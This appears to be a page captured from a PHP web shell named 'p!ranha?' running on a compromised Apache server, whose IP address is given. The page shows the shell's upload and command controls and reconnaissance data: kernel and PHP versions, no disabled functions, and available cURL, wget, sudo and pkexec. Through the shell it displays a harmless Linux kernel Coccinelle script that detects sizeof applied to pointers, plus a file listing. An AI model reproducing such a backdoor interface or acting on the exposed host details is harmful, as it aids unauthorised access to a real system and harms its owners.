p!ranha?
Server IP : 103.169.32.36  /  Your IP : 216.73.217.13
Web Server : Apache
System : Linux web.dpmptsp 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/modules/3.10.0-1160.119.1.el7.x86_64/source/scripts/coccinelle/misc/

Upload File :
Curr3nt_D!r [ Writeable ] D0cum3nt_r0Ot [ Writeable ]

 
Command :
Current File : /usr/lib/modules/3.10.0-1160.119.1.el7.x86_64/source/scripts/coccinelle/misc/noderef.cocci
/// sizeof when applied to a pointer typed expression gives the size of
/// the pointer
///
// Confidence: High
// Copyright: (C) 2012 Julia Lawall, INRIA/LIP6.  GPLv2.
// Copyright: (C) 2012 Gilles Muller, INRIA/LiP6.  GPLv2.
// URL: http://coccinelle.lip6.fr/
// Comments:
// Options: -no_includes -include_headers

virtual org
virtual report
virtual context
virtual patch

@depends on patch@
expression *x;
expression f;
type T;
@@

(
x = <+... sizeof(
- x
+ *x
   ) ...+>
|
f(...,(T)(x),...,sizeof(
- x
+ *x
   ),...)
|
f(...,sizeof(x),...,(T)(
- x
+ *x
   ),...)
)

@r depends on !patch@
expression *x;
expression f;
position p;
type T;
@@

(
*x = <+... sizeof@p(x) ...+>
|
*f(...,(T)(x),...,sizeof@p(x),...)
|
*f(...,sizeof@p(x),...,(T)(x),...)
)

@script:python depends on org@
p << r.p;
@@

cocci.print_main("application of sizeof to pointer",p)

@script:python depends on report@
p << r.p;
@@

msg = "ERROR: application of sizeof to pointer"
coccilib.report.print_report(p[0],msg)
N4m3
5!z3
L45t M0d!f!3d
0wn3r / Gr0up
P3Rm!55!0n5
0pt!0n5
..
--
September 29 2025 07:00:57
0 / 0
0755
boolinit.cocci
2.195 KB
November 06 2023 09:15:52
0 / 0
0644
cstptr.cocci
0.806 KB
November 06 2023 09:15:52
0 / 0
0644
doubleinit.cocci
1.356 KB
November 06 2023 09:15:52
0 / 0
0644
ifaddr.cocci
0.656 KB
November 06 2023 09:15:52
0 / 0
0644
ifcol.cocci
1.211 KB
November 06 2023 09:15:52
0 / 0
0644
irqf_oneshot.cocci
1.091 KB
November 06 2023 09:15:52
0 / 0
0644
memcpy-assign.cocci
1.883 KB
November 06 2023 09:15:52
0 / 0
0644
noderef.cocci
0.967 KB
November 06 2023 09:15:52
0 / 0
0644
orplus.cocci
0.877 KB
November 06 2023 09:15:52
0 / 0
0644
semicolon.cocci
1.038 KB
November 06 2023 09:15:52
0 / 0
0644
warn.cocci
1.62 KB
November 06 2023 09:15:52
0 / 0
0644